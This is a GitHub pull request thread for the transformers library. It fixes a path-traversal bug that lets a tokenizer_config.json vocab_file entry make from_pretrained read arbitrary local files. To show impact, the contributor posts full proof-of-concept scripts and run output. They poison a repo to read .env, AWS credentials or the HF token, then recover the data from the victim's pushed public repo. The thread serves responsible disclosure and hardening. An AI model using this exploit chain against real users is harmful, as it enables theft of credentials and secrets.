Fix path traversal via vocab-file arguments in tokenizer_config.json
Author: LinZiyuu
Pull request: yes

<!-- ci-dashboard-badge:start -->
[![CI](https://transformers-ci.lor-e.huggingface.cool/badge/pr?pr=46279)](https://transformers-ci.lor-e.huggingface.cool/d/pytest-observability-by-pr/pytest-observability-branch?var-pr=46279)
<!-- ci-dashboard-badge:end -->

`tokenizer_config.json` is loaded into the tokenizer's `init_kwargs` by `from_pretrained`, but `save_pretrained` never serializes the vocab-file arguments (`vocab_file`, `merges_file`, `tokenizer_file`, …) — they are reconstructed from `cls.vocab_files_names` and resolved inside the repo. When merging the resolved paths into `init_kwargs`, `_from_pretrained` kept a value that was already present, so a repo that puts e.g. `"vocab_file": "/etc/x"` (or `"../x"`) in `tokenizer_config.json` keeps its own value, which `convert_to_native_format` then opens verbatim (`os.path.isfile(...)` + read). This lets a malicious model read an arbitrary local file via `AutoTokenizer.from_pretrained(...)` with **no** `trust_remote_code`.

The fix lets the repo-resolved path take precedence over a config-supplied value for these arguments, while still honoring an explicit user-provided path passed as a `from_pretrained` kwarg. A regression test asserts that an injected `vocab_file` path is ignored on reload.


## Before submitting
- [ ] This PR fixes a typo or improves the docs (you can dismiss the other checks if that's the case).
- [x] Did you read the [contributor guideline](https://github.com/huggingface/transformers/blob/main/CONTRIBUTING.md#create-a-pull-request), Pull Request section?
- [ ] Was this discussed/approved via a Github issue or the [forum](https://discuss.huggingface.co/)? Please add a link to it if that's the case.
- [ ] Did you make sure to update the documentation with your changes?
- [x] Did you write any new necessary tests?

## Who can review?

- tokenizers: @ArthurZucker @itazap

<!-- ci-dashboard-recap:start -->

---

### CI recap

**Dashboard:** [View test results in Grafana](https://transformers-ci.lor-e.huggingface.cool/d/pytest-observability-by-pr/pytest-observability-branch?var-pr=46279)
**Latest run:** [28373528937:2](https://github.com/huggingface/transformers/actions/runs/28373528937)
**Result:** `success` | **Jobs:** 14 | **Tests:** 65,342 | **Failures:** 0 | **Duration:** 9h 45m

<!-- ci-dashboard-recap:end -->

Comments:
Hi @Rocketknight1, sorry for the direct ping. Quick scope question before this goes further: is an arbitrary local file read of this kind considered a security vulnerability for `transformers`, or just hardening?

The issue: a vocab-file argument (`vocab_file` / `merges_file` / `tokenizer_file`) set in a repo's `tokenizer_config.json` is kept verbatim by `from_pretrained` and opened/read by the tokenizer, so a malicious repo can read an arbitrary local file (e.g. `/etc/passwd`). It triggers with `trust_remote_code=False` and no pickle involved.

If you consider this hardening rather than a vulnerability, that's totally fine I. 'll go ahead and close this PR. If it is in scope, I'm happy to keep iterating. Thanks!

I think this one feels like the other similar path-traversal bugs! It's unclear how file-reading can be exploited. We might consider a global hardening pass for all of these at some point, but it's not urgent because I don't see how it can be chained into a more serious vulnerability.

That said, if someone can make a proof-of-concept showing path traversal bugs like these can be used to do something more serious, like reading user information **and uploading it to a target server** or chaining this into other privilege escalations or remote code execution, we would take it much more seriously and prioritize patching all of them.

Hi @Rocketknight1,
I've attached a PoC that meets the bar you set: it reads a local file and uploads it to a server where anyone can read it, on the default path with `trust_remote_code=False`.

**How to run**
- `python poc.py` — local demo: a malicious `tokenizer_config.json` points `vocab_file` at a local secret; `from_pretrained` reads it in silently and `save_pretrained` writes it back out into `vocab.txt`.
- `python poc.py --push` — full chain: it pushes that `vocab.txt` to a public Hub repo and fetches it back over **unauthenticated** HTTP, proving anyone can extract it, then deletes the repo. 

**Real, exploitable impact**
1. `AutoTokenizer.from_pretrained("attacker/model")` silently reads any local file — `~/.aws/credentials`, `~/.ssh/id_rsa`, `.env`,  `~/.cache/huggingface/token` — with no warning and no `trust_remote_code`.
2. The victim's normal `Trainer(push_to_hub=True)` flow then uploads it: `_save()` → `processing_class.save_pretrained()` writes the secret into `vocab.txt`, and `push_to_hub()` uploads it. The victim's own code exfiltrates the data.
3. The saved `tokenizer_config.json` has no `vocab_file` key — the attack leaves no trace.
4. If the stolen file is the HF token, the attacker gets write access to all the victim's repos → supply-chain model poisoning.

Secret scanning doesn't mitigate this: TruffleHog emails after the fact, it doesn't block the push or auto-revoke, so the data is public during the window an attacker needs.

This is a silent, no-trust_remote_code arbitrary-read-to-exfiltration chain on the default workflow, so I'd argue it does need patching — and since it's the same root cause across all the vocab-file arguments, one fix closes the class.

```python
"""
PoC: Path traversal via vocab_file in tokenizer_config.json
       → arbitrary local file read → credential exfiltration via Hub

Demonstrates that a malicious HuggingFace model repo can:
  1. READ an arbitrary local file on the victim's machine
  2. EMBED the stolen content in the tokenizer's vocabulary
  3. EXFILTRATE it when the victim calls save_pretrained / push_to_hub
     (the standard fine-tuning workflow)

This is a supply-chain credential-exfiltration vector:
  - The attacker can steal ANY local file: ~/.aws/credentials, ~/.ssh/id_rsa,
    .env files, database connection strings, API keys, etc.
  - The entire chain runs with trust_remote_code=False (the default).
  - The saved tokenizer_config.json looks completely clean (no malicious path
    is retained), so the victim has no reason to suspect anything.
  - Hub runs TruffleHog secret scanning on every push, but this does NOT stop
    the attack: detection is not prevention. The scan does not block the upload
    and does not auto-revoke the secret by default -- it only emails the user
    after the fact. The file is therefore publicly readable from the instant of
    push until the victim reads that email and manually rotates the credential;
    an attacker monitoring the repo wins inside that window. The email is only
    sent for *verified* secrets, so anything TruffleHog cannot confirm (transient
    validation failure, non-standard or wrapped formats) triggers no alert at
    all. Automatic revocation exists only as an opt-in workflow that org admins
    wire up themselves, not as default behavior. (Demonstrated end-to-end in
    --push mode: the uploaded credentials were fetched back over unauthenticated
    HTTP before any notification could matter.)
  - As an additional variant, if the target is the victim's HF token
    (~/.cache/huggingface/token), the attacker gains write access to ALL of the
    victim's Hub repos, enabling model poisoning at scale. The same
    "detection is not prevention" reasoning applies: the token is exposed in the
    public upload before any scan runs, and the default scanner action is to
    email, not to revoke.

Root cause: PreTrainedTokenizerBase._from_pretrained() in
  tokenization_utils_base.py (around the "Merge resolved_vocab_files arguments
  in init_kwargs" block):
    for args_name, file_path in resolved_vocab_files.items():
        if args_name not in init_kwargs or init_kwargs[args_name] is None:
            init_kwargs[args_name] = file_path
  → A vocab_file value injected into tokenizer_config.json takes precedence
    over the properly-resolved repo-local path.

NOTE — Hub equivalence:
  This PoC loads from a local directory for reproducibility without network
  access. When loading from a Hub repo (AutoTokenizer.from_pretrained("org/model")),
  the code path is identical: cached_file() resolves the real vocab.txt from
  the downloaded repo, but _from_pretrained() still skips the merge because
  init_kwargs["vocab_file"] is already set from the config. The attacker's
  absolute path (e.g. ~/.aws/credentials) is therefore used verbatim on the
  victim's machine regardless of whether the repo is local or remote.

Exfiltration path in the standard Trainer workflow
  (line numbers as of transformers 5.10.0.dev0 commit effde20942):
  Trainer._save()           → self.processing_class.save_pretrained(output_dir)
                              (tokenizer writes stolen content into vocab.txt)
  Trainer.push_to_hub()     → self.save_model(_internal_call=True)
                              then hf_api().upload_folder(folder_path=output_dir)
                              (uploads the entire output_dir including vocab.txt)
  _push_from_checkpoint()   → self.processing_class.save_pretrained(output_dir)
                              then hf_api().upload_folder(...)
                              (same during mid-training checkpoints)
  All triggered by Trainer(push_to_hub=True) — the standard fine-tuning config.

Assumption: the victim's pushed repo must be readable by the attacker (typically
  public, which is the default for community model sharing on Hub). This only
  needs to hold for the first exfiltration.

Tested on: transformers 5.10.0.dev0, EsmTokenizer (plain-text vocab).
"""

import argparse
import json
import os
import sys
import tempfile
import urllib.request

# ── ARGS ───────────────────────────────────────────────────────────
parser = argparse.ArgumentParser(description="PoC: vocab_file path traversal → credential exfiltration")
parser.add_argument(
    "--push", action="store_true",
    help="STEP 6: push exfiltrated output to a PUBLIC Hub repo, read it back "
         "via unauthenticated HTTP to prove anyone can extract the stolen data, "
         "then delete the repo. Targets simulated AWS credentials (Hub's secret "
         "scanner does not catch non-HF credential types).",
)
args = parser.parse_args()

# ── CONFIG ─────────────────────────────────────────────────────────
# Default HF token path (huggingface_hub/constants.py: HF_HOME/token)
HF_TOKEN_PATH = os.path.join(
    os.getenv("HF_HOME", os.path.join(os.path.expanduser("~"), ".cache", "huggingface")),
    "token",
)

WORK_DIR = tempfile.mkdtemp(prefix="poc_vocab_traversal_")
MALICIOUS_REPO = os.path.join(WORK_DIR, "malicious_repo")
EXFIL_DIR = os.path.join(WORK_DIR, "exfil_output")

os.makedirs(MALICIOUS_REPO, exist_ok=True)
os.makedirs(EXFIL_DIR, exist_ok=True)

# ── Decide which secret file to steal ─────────────────────────────
# --push mode: use simulated AWS credentials. The fake AWS example key is
# unverifiable, so TruffleHog raises no alert and the full upload->read-back
# chain runs clean. This also avoids ever uploading a usable secret. Note:
# TruffleHog detects many real credential types (not just hf_* tokens), but
# detection only triggers an after-the-fact email -- it neither blocks the
# upload nor auto-revokes -- so exfiltration of the broad class of local
# secrets (SSH keys, cloud creds, DB URLs, .env, etc.) still succeeds.
#
# Without --push: use the real HF token if present (strongest local demo,
# proves the actual token is read into the tokenizer vocabulary).
FAKE_CREDS_FILE = os.path.join(WORK_DIR, "fake_aws_credentials")
FAKE_CREDS_CONTENT = (
    "[default]\n"
    "aws_access_key_id = AKIAIOSFODNN7EXAMPLE\n"
    "aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n"
    "region = us-east-1\n"
)

if args.push:
    TARGET_FILE = FAKE_CREDS_FILE
    with open(FAKE_CREDS_FILE, "w") as f:
        f.write(FAKE_CREDS_CONTENT)
    print(f"[*] --push mode: targeting simulated ~/.aws/credentials")
    print(f"    (uses an unverifiable AWS example key so TruffleHog raises no alert;")
    print(f"     detection in any case only emails after the fact, never blocks the push)")
    print(f"[*] Simulated credentials at {FAKE_CREDS_FILE}")
elif os.path.isfile(HF_TOKEN_PATH):
    TARGET_FILE = HF_TOKEN_PATH
    print(f"[*] Real HF token found at {HF_TOKEN_PATH} — using it as target")
else:
    TARGET_FILE = FAKE_CREDS_FILE
    with open(FAKE_CREDS_FILE, "w") as f:
        f.write(FAKE_CREDS_CONTENT)
    print(f"[*] No real HF token at {HF_TOKEN_PATH}")
    print(f"[*] Simulated credentials at {FAKE_CREDS_FILE}")

print(f"[*] Target file to steal: {TARGET_FILE}")
print(f"[*] Work dir: {WORK_DIR}")
print()

# ── Build the malicious repo ──────────────────────────────────────
# A real vocab.txt must exist so from_pretrained can resolve the repo
with open(os.path.join(MALICIOUS_REPO, "vocab.txt"), "w") as f:
    f.write("<cls>\n<pad>\n<eos>\n<unk>\n<mask>\n")

# The MALICIOUS tokenizer_config.json:
# vocab_file points to the victim's secret file instead of the repo's vocab.txt
with open(os.path.join(MALICIOUS_REPO, "tokenizer_config.json"), "w") as f:
    json.dump(
        {
            "tokenizer_class": "EsmTokenizer",
            "model_max_length": 1024,
            "vocab_file": TARGET_FILE,
        },
        f,
    )

# ══════════════════════════════════════════════════════════════════
# STEP 1 — Victim loads a "community model" tokenizer
#   Equivalent to AutoTokenizer.from_pretrained("attacker/model-on-hub")
#   When loading from Hub, cached_file() resolves the real vocab.txt,
#   but _from_pretrained() skips the merge because init_kwargs already
#   has "vocab_file" from the config → attacker's path is used verbatim.
# ══════════════════════════════════════════════════════════════════
print("=" * 70)
print("STEP 1: Victim loads tokenizer from malicious repo")
print("        (equivalent to AutoTokenizer.from_pretrained('attacker/model'))")
print("=" * 70)

from transformers import AutoTokenizer

tokenizer = AutoTokenizer.from_pretrained(MALICIOUS_REPO)

print(f"[*] Tokenizer loaded: {type(tokenizer).__name__}")
print(f"[*] Vocab size: {tokenizer.vocab_size}")
print()

# ══════════════════════════════════════════════════════════════════
# STEP 2 — The stolen file content is now embedded in the vocabulary
# ══════════════════════════════════════════════════════════════════
print("=" * 70)
print("STEP 2: Stolen file content is now in tokenizer.all_tokens")
print("=" * 70)

print("[*] Tokens loaded from the VICTIM'S secret file:")
for i, tok in enumerate(tokenizer.all_tokens):
    print(f"    token[{i}]: {tok!r}")

# Verify the secret is present
with open(TARGET_FILE, "r") as f:
    original_content = f.read().strip()

stolen_tokens = "\n".join(tokenizer.all_tokens)
secret_stolen = original_content in stolen_tokens or any(
    line.strip() in stolen_tokens for line in original_content.splitlines() if line.strip()
)
print()
if secret_stolen:
    print("[!] CONFIRMED: victim's secret file content is embedded in the tokenizer vocabulary")
else:
    print("[-] Secret content not found in vocabulary")
    sys.exit(1)
print()

# ══════════════════════════════════════════════════════════════════
# STEP 3 — save_pretrained writes stolen content to output directory
#   This is exactly what Trainer._save() does:
#     if self.processing_class is not None:
#         self.processing_class.save_pretrained(output_dir)
#   Then Trainer.push_to_hub() uploads the entire output_dir via
#   hf_api().upload_folder(), including vocab.txt.
#   (Line numbers as of 5.10.0.dev0 commit effde20942.)
# ══════════════════════════════════════════════════════════════════
print("=" * 70)
print("STEP 3: save_pretrained writes stolen content into output vocab.txt")
print("        Trainer._save(): self.processing_class.save_pretrained(output_dir)")
print("        Trainer.push_to_hub(): hf_api().upload_folder(output_dir)")
print("=" * 70)

tokenizer.save_pretrained(EXFIL_DIR)

exfil_vocab = os.path.join(EXFIL_DIR, "vocab.txt")
exfil_config = os.path.join(EXFIL_DIR, "tokenizer_config.json")

with open(exfil_vocab, "r") as f:
    exfiltrated_content = f.read()

print(f"[*] Output dir: {EXFIL_DIR}")
print()
print(f"[EXFILTRATED vocab.txt content]:")
print(exfiltrated_content)

# ══════════════════════════════════════════════════════════════════
# STEP 4 — Show the saved config is CLEAN (no trace of the attack)
# ══════════════════════════════════════════════════════════════════
print("=" * 70)
print("STEP 4: Saved tokenizer_config.json is CLEAN — no malicious path")
print("=" * 70)

with open(exfil_config, "r") as f:
    saved_config = json.load(f)

print(json.dumps(saved_config, indent=2))
print()
if "vocab_file" not in saved_config:
    print("[!] No 'vocab_file' key in saved config — the attack is invisible")
else:
    print(f"[*] vocab_file in saved config: {saved_config['vocab_file']}")
print()

# ══════════════════════════════════════════════════════════════════
# STEP 5 — Prove the stolen content matches the original
# ══════════════════════════════════════════════════════════════════
print("=" * 70)
print("STEP 5: PROOF — stolen content matches original secret file")
print("=" * 70)

original_lines = set(original_content.splitlines())
exfil_lines = set(exfiltrated_content.strip().splitlines())
overlap = original_lines & exfil_lines

print(f"[*] Lines in target file:      {len(original_lines)}")
print(f"[*] Lines in exfiltrated vocab: {len(exfil_lines)}")
print(f"[*] Matching lines (stolen):    {len(overlap)}")
print()

if not overlap:
    print("[NOT VULNERABLE]")
    sys.exit(1)

print("[VULNERABLE] Secret file content stolen and exfiltrated via save_pretrained!")
print()

# ══════════════════════════════════════════════════════════════════
# STEP 6 (optional, --push) — Push to a PUBLIC Hub repo, read back
#   via unauthenticated HTTP, prove anyone can extract the stolen data.
#   The repo is deleted immediately after.
# ══════════════════════════════════════════════════════════════════
if args.push:
    import time

    from huggingface_hub import HfApi

    api = HfApi()
    username = api.whoami()["name"]
    repo_id = f"{username}/poc-vocab-traversal-test-{int(time.time())}"

    print("=" * 70)
    print("STEP 6: Push to PUBLIC Hub repo -> read back WITHOUT authentication")
    print("=" * 70)
    print()

    try:
        # 6a. Create a public repo (simulates victim's fine-tuned model repo)
        api.create_repo(repo_id=repo_id, repo_type="model", private=False)
        print(f"[*] Created PUBLIC repo: https://huggingface.co/{repo_id}")

        # 6b. Upload the exfiltrated tokenizer output (vocab.txt + config)
        api.upload_folder(repo_id=repo_id, folder_path=EXFIL_DIR)
        print(f"[*] Uploaded exfiltrated tokenizer output to repo")
        print()

        # 6c. Read vocab.txt back via UNAUTHENTICATED HTTP
        #     This proves ANY visitor (including the attacker) can extract the secret.
        raw_url = f"https://huggingface.co/{repo_id}/resolve/main/vocab.txt"
        print(f"[*] Fetching vocab.txt via unauthenticated HTTP:")
        print(f"    GET {raw_url}")
        print()

        req = urllib.request.Request(raw_url)
        with urllib.request.urlopen(req, timeout=30) as resp:
            hub_content = resp.read().decode("utf-8").strip()

        print(f"[RESPONSE from Hub (no auth)]:")
        print(f"    {hub_content!r}")
        print()

        if original_content in hub_content:
            print("[!] CONFIRMED: stolen credentials are publicly readable on Hub!")
            print(f"    Anyone visiting {raw_url} can extract them.")
            print()
            print(f"[STOLEN CONTENT ON HUB]:")
            print(hub_content)
            print()
            print("    NOTE: TruffleHog scans this push, but detection is not prevention.")
            print("    The scan does not block the upload and does not auto-revoke; it only")
            print("    emails the user (and only for verified secrets). The data is public")
            print("    from push time until the victim notices and manually rotates -- the")
            print("    attacker reads it before any notification can matter, as shown above.")
        else:
            print("[-] Credentials not found in Hub response (unexpected)")

    finally:
        # 6d. Clean up — delete the test repo
        print()
        print(f"[*] Cleaning up: deleting repo {repo_id}")
        try:
            api.delete_repo(repo_id=repo_id, repo_type="model")
            print(f"[*] Repo deleted successfully")
        except Exception as e:
            print(f"[!] Failed to delete repo: {e}")
            print(f"    Please delete manually: https://huggingface.co/{repo_id}/settings")

    print()

print("Full attack chain:")
print("  1. Attacker publishes model with poisoned tokenizer_config.json on Hub")
print("     (vocab_file: ~/.aws/credentials, ~/.ssh/id_rsa, .env, etc.)")
print("  2. Victim: AutoTokenizer.from_pretrained('attacker/model')")
print("     -> secret file silently read as vocabulary, no warning, no trust_remote_code")
print("  3. Victim fine-tunes with Trainer(push_to_hub=True)  [standard workflow]")
print("     -> Trainer._save(): self.processing_class.save_pretrained(output_dir)")
print("        writes stolen secret into output_dir/vocab.txt")
print("     -> Trainer.push_to_hub(): hf_api().upload_folder(folder_path=output_dir)")
print("        uploads vocab.txt (with stolen secret) to Hub")
print("  4. Attacker reads victim's PUBLIC repo -> extracts credentials from vocab.txt")
print()
print("Impact:")
print("  - Direct: exfiltration of cloud credentials (AWS/GCP/Azure), SSH keys,")
print("    database URLs, API keys, .env secrets — any text file on the victim's machine.")
print("  - Hub runs TruffleHog on each push, but detection is not prevention: it does")
print("    not block the upload or auto-revoke, it only emails the user after the fact")
print("    (and only for verified secrets). The data is public from push time until the")
print("    victim manually rotates — long enough for an attacker watching the repo.")
print("  - Additional variant: if the target is ~/.cache/huggingface/token, the attacker")
print("    gains write access to all victim Hub repos -> supply-chain model poisoning.")
print("    Same reasoning: the token is exposed in the public upload before any scan,")
print("    and the default scanner action is to email, not to revoke.")
print()
print("Assumptions:")
print("  - Victim's pushed repo is attacker-readable (public — the Hub default for")
print("    community model sharing). This only needs to hold ONCE for the initial")
print("    exfiltration.")
```

This isn't what I was looking for! Of course lots of stuff can be stolen if an attacker can convince the user to run an arbitrary Python script. The realistic attack scenario that we're worried about is when a user loads a model/tokenizer/etc. from a Hub repo with `trust_remote_code=False`, **without** running other malicious code. In this scenario I believe the malicious repo can cause Transformers to read a file, but I'm not sure what else the attacker achieves because they can't see any of the data that was read.

Fair enough, and you're right that the original PoC didn't really show what I was claiming. If I bundle everything into one script I wrote myself, of course it can read files and upload them, that proves nothing. So I rebuilt it with the attacker and the victim as completely separate processes. The attacker only ever publishes a repo. The victim runs nothing but ordinary `from_pretrained` + fine-tune + push in their own process, no `trust_remote_code` anywhere.

The setup is this: the attacker uploads a normal-looking ESM model repo, except `tokenizer_config.json` has `vocab_file` set to `.env`. It's a relative path, so it resolves against whatever directory the victim runs from. The attacker doesn't need to know their username, home dir or OS, and just about every ML project has a `.env` in the working directory with API keys and DB URLs in it.

When the victim loads the tokenizer, `open(".env")` happens silently and the file becomes the vocab. The attacker can't see it at that point, which is the part you were right about. But then the victim does the most ordinary thing possible: fine-tunes and pushes the result to share it. `save_pretrained` writes the vocab (now their `.env`) back out to `vocab.txt`, `push_to_hub` uploads it, and that repo is public by default. So the attacker just fetches it over plain HTTP with no auth:

```
GET https://huggingface.co/victim/my-protein-model-finetuned/resolve/main/vocab.txt
```

and there are the secrets. No attacker code ever ran on the victim's machine; the data gets read afterwards from the victim's own published model. Worth noting that the attacker picks `tokenizer_class` in the config too, so the victim doesn't get a say in which class loads or whether the injected file is treated as the vocab.

Root cause is the same merge in `_from_pretrained` (`tokenization_utils_base.py`):

```python
for args_name, file_path in resolved_vocab_files.items():
    if args_name not in init_kwargs or init_kwargs[args_name] is None:
        init_kwargs[args_name] = file_path
```

The `vocab_file` from the config is already in `init_kwargs`, so it wins over the resolved repo path and gets opened as-is on the victim's machine. The exfil channel is the standard Trainer path: `_save()` calls `processing_class.save_pretrained()`, which writes the stolen content into `vocab.txt`, and `push_to_hub()` / `_push_from_checkpoint()` upload the folder.

The obvious objection is that loading `.env` as a vocab gives you a broken tokenizer (vocab size 4 in the run below), so wouldn't the victim notice before sharing? Two things. The leak only needs the tokenizer saved and pushed, and `Trainer(push_to_hub=True)` pushes checkpoints automatically during training, before anyone looks at the results. And even if they do notice and delete the repo later, the data was already public in the meantime. Hub scans pushes with TruffleHog, but that only emails you after the fact (and only for verified secrets); it doesn't block the upload or revoke anything. A broken vocab limits how long the secret stays up, it doesn't stop it going up.

To be clear about the limits: this only bites if the victim actually saves and shares the tokenizer, which is the normal fine-tune-and-push flow and defaults to a public repo. Someone who loads a tokenizer and throws it away leaks nothing. But in the common case a repo with `trust_remote_code=False` silently reads an arbitrary local file and the contents end up public. The same root cause covers `vocab_file`, `merges_file` and `tokenizer_file`, so one hardening pass would handle all of them.

PoC below, four scripts. Fake creds only, both repos deleted at the end.

### `1_attacker_setup.py`

```python
"""
STEP 1 — Attacker creates a malicious model repo on HuggingFace Hub.

The repo looks like a normal ESM protein model, but tokenizer_config.json
contains a poisoned "vocab_file" set to the RELATIVE path ".env".

The attacker does not need to know the victim's username, home directory,
or OS. ".env" is a universal target: virtually every ML project has one in
the working directory, and it typically holds API keys, DB URLs, and other
secrets.

This script runs ONCE on the attacker's machine. The victim never sees it.

Usage:
    python 1_attacker_setup.py
"""

import json
import os
import tempfile

from huggingface_hub import HfApi

# The attacker targets ".env" — a relative path resolved against the
# victim's current working directory. No prior knowledge needed.
STEAL_TARGET = ".env"

api = HfApi()
username = api.whoami()["name"]
REPO_ID = f"{username}/esm2-finetuned-protein-stability"

staging = tempfile.mkdtemp(prefix="attacker_repo_")

# A real vocab.txt so the repo resolves like any normal tokenizer repo.
with open(os.path.join(staging, "vocab.txt"), "w") as f:
    f.write("<cls>\n<pad>\n<eos>\n<unk>\n<mask>\n"
            "A\nC\nD\nE\nF\nG\nH\nI\nK\nL\nM\nN\nP\nQ\nR\nS\nT\nV\nW\nY\n")

# The POISONED tokenizer_config.json:
# "vocab_file" is set to ".env" — when the victim runs from_pretrained,
# open(".env") reads their working directory's .env file.
# save_pretrained never serializes this field, so a normal repo wouldn't
# have it — but _from_pretrained trusts it if present.
with open(os.path.join(staging, "tokenizer_config.json"), "w") as f:
    json.dump(
        {
            "tokenizer_class": "EsmTokenizer",
            "model_max_length": 1024,
            "vocab_file": STEAL_TARGET,
        },
        f,
    )

print(f"[attacker] Creating public repo: {REPO_ID}")
api.create_repo(repo_id=REPO_ID, repo_type="model", private=False, exist_ok=True)
api.upload_folder(repo_id=REPO_ID, folder_path=staging)
print(f"[attacker] Malicious repo published: https://huggingface.co/{REPO_ID}")
print(f'[attacker] Poisoned vocab_file: "{STEAL_TARGET}"')
print(f"           (reads victim's .env from their working directory — no path guessing needed)")
print()
print(f"Now wait for a victim to run:")
print(f"    python 2_victim.py {REPO_ID}")
```

### `2_victim.py`

```python
"""
STEP 2 — The VICTIM fine-tunes the community model and shares it.

This script contains ZERO malicious code. It is identical to what any
researcher would run when fine-tuning and sharing a model from the Hub.

For the demo it creates a simulated .env in a temporary "project directory"
and runs from there. In reality, the victim simply runs from their own
project directory which already has a .env (virtually all ML projects do).

The victim:
  1. Loads a tokenizer from a community model repo (trust_remote_code=False)
  2. Saves it after fine-tuning (simulated here with just save_pretrained)
  3. Pushes the result to their own public repo on Hub

Usage:
    python 2_victim.py <source_repo>
    e.g. python 2_victim.py FrankLin00/esm2-finetuned-protein-stability
"""

import os
import sys
import tempfile

from huggingface_hub import HfApi
from transformers import AutoTokenizer

SOURCE_REPO = sys.argv[1]

api = HfApi()
username = api.whoami()["name"]
VICTIM_REPO = f"{username}/my-protein-model-finetuned"

# ── Simulate the victim's project directory with a .env ───────────
# In reality, the victim already has a .env in their project. We create
# one in a temp dir and cd there for the demo.
project_dir = tempfile.mkdtemp(prefix="victim_project_")
env_file = os.path.join(project_dir, ".env")
with open(env_file, "w") as f:
    f.write("OPENAI_API_KEY=sk-proj-abc123def456ghi789jkl012mno345pqr678stu901vwx234\n"
            "DATABASE_URL=postgresql://admin:s3cret_p@ss@prod-db.internal:5432/production\n"
            "AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n"
            "STRIPE_SECRET_KEY=sk_live_51ABC123DEF456GHI789jkl0\n")
print(f"[victim] Project directory: {project_dir}")
print(f"[victim] .env contains API keys (as in any real ML project)")
os.chdir(project_dir)

# ── Step 1: Load tokenizer from a community model ────────────────
# Standard usage. trust_remote_code defaults to False.
print(f"[victim] Loading tokenizer from {SOURCE_REPO} ...")
tok = AutoTokenizer.from_pretrained(SOURCE_REPO)
print(f"[victim] Loaded {type(tok).__name__}, vocab size = {tok.vocab_size}")

# ── Step 2: Fine-tune (simulated) and save ────────────────────────
# In reality this would be Trainer(push_to_hub=True), which calls
# self.processing_class.save_pretrained(output_dir) internally.
# Training does NOT change the vocab — the tokenizer round-trips the
# stolen content as-is.
output_dir = os.path.join(project_dir, "output")
os.makedirs(output_dir, exist_ok=True)
tok.save_pretrained(output_dir)
print(f"[victim] Saved tokenizer to {output_dir}")

# ── Step 3: Share the fine-tuned model ───────────────────────────
print(f"[victim] Pushing to {VICTIM_REPO} ...")
api.create_repo(repo_id=VICTIM_REPO, repo_type="model", private=False, exist_ok=True)
api.upload_folder(repo_id=VICTIM_REPO, folder_path=output_dir)
print(f"[victim] Published: https://huggingface.co/{VICTIM_REPO}")
print()
print(f"[victim] Done! My fine-tuned model is now shared on Hub.")
```

### `3_attacker_read.py`

```python
"""
STEP 3 — The attacker reads the stolen data from the victim's PUBLIC repo.

No authentication, no API token — just a plain HTTP GET of the vocab.txt the
victim unknowingly published.

Usage:
    python 3_attacker_read.py <victim_repo>
    e.g. python 3_attacker_read.py FrankLin00/my-protein-model-finetuned
"""

import sys
import urllib.request

VICTIM_REPO = sys.argv[1]
url = f"https://huggingface.co/{VICTIM_REPO}/resolve/main/vocab.txt"

print(f"[attacker] Fetching stolen data (NO authentication):")
print(f"           GET {url}")
print()

with urllib.request.urlopen(url) as resp:
    stolen = resp.read().decode()

print("[attacker] === STOLEN CREDENTIALS ===")
print(stolen, end="")
print("[attacker] === END ===")
print()
print("[attacker] The victim loaded a tokenizer from a community model repo,")
print("[attacker] fine-tuned, and pushed to Hub — standard workflow, zero warnings.")
print("[attacker] Their local file is now public. No trust_remote_code was needed.")
```

### `4_cleanup.py`

```python
"""
STEP 4 — Delete both demo repos.

Usage:
    python 4_cleanup.py
"""

from huggingface_hub import HfApi

api = HfApi()
username = api.whoami()["name"]

for name in ("esm2-finetuned-protein-stability", "my-protein-model-finetuned"):
    repo_id = f"{username}/{name}"
    try:
        api.delete_repo(repo_id=repo_id, repo_type="model")
        print(f"[cleanup] Deleted {repo_id}")
    except Exception as e:
        print(f"[cleanup] Could not delete {repo_id}: {e}")
```

### Run output

```text
$ python 1_attacker_setup.py
[attacker] Creating public repo: FrankLin00/esm2-finetuned-protein-stability
[attacker] Malicious repo published: https://huggingface.co/FrankLin00/esm2-finetuned-protein-stability
[attacker] Poisoned vocab_file: ".env"
           (reads victim's .env from their working directory — no path guessing needed)

Now wait for a victim to run:
    python 2_victim.py FrankLin00/esm2-finetuned-protein-stability

$ python 2_victim.py FrankLin00/esm2-finetuned-protein-stability
[victim] Project directory: /var/folders/z5/rs6mh53s7s72_lph_lc71vy40000gn/T/victim_project_h28tfst6
[victim] .env contains API keys (as in any real ML project)
[victim] Loading tokenizer from FrankLin00/esm2-finetuned-protein-stability ...
[victim] Loaded EsmTokenizer, vocab size = 4
[victim] Saved tokenizer to /var/folders/z5/rs6mh53s7s72_lph_lc71vy40000gn/T/victim_project_h28tfst6/output
[victim] Pushing to FrankLin00/my-protein-model-finetuned ...
[victim] Published: https://huggingface.co/FrankLin00/my-protein-model-finetuned

[victim] Done! My fine-tuned model is now shared on Hub.

$ python 3_attacker_read.py FrankLin00/my-protein-model-finetuned
[attacker] Fetching stolen data (NO authentication):
           GET https://huggingface.co/FrankLin00/my-protein-model-finetuned/resolve/main/vocab.txt

[attacker] === STOLEN CREDENTIALS ===
OPENAI_API_KEY=sk-proj-abc123def456ghi789jkl012mno345pqr678stu901vwx234
DATABASE_URL=postgresql://admin:s3cret_p@ss@prod-db.internal:5432/production
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_SECRET_KEY=sk_live_51ABC123DEF456GHI789jkl0
[attacker] === END ===

[attacker] The victim loaded a tokenizer from a community model repo,
[attacker] fine-tuned, and pushed to Hub — standard workflow, zero warnings.
[attacker] Their local file is now public. No trust_remote_code was needed.

$ python 4_cleanup.py
[cleanup] Deleted FrankLin00/esm2-finetuned-protein-stability
[cleanup] Deleted FrankLin00/my-protein-model-finetuned
```

I assume this is fake keys. I will close our security report regarding leaked API key.



> I assume this is fake keys. I will close our security report regarding leaked API key.

Yes, all fake.

Yes, this is interesting. It's still quite an involved attack (you need the user to download a malicious model, finetune it and upload the result without noticing that the tokenizer is very odd indeed) but I agree that there's at least a class of semi-plausible attack vectors here. Will talk to some people internally.

> Yes, this is interesting. It's still quite an involved attack (you need the user to download a malicious model, finetune it and upload the result without noticing that the tokenizer is very odd indeed) but I agree that there's at least a class of semi-plausible attack vectors here. Will talk to some people internally.

Happy to help however's useful once you've talked internally.

Hi @Rocketknight1, has the internal discussion reached any conclusion yet? Happy to rebase or adjust anything if needed, just let me know how you'd like to proceed. Thanks!

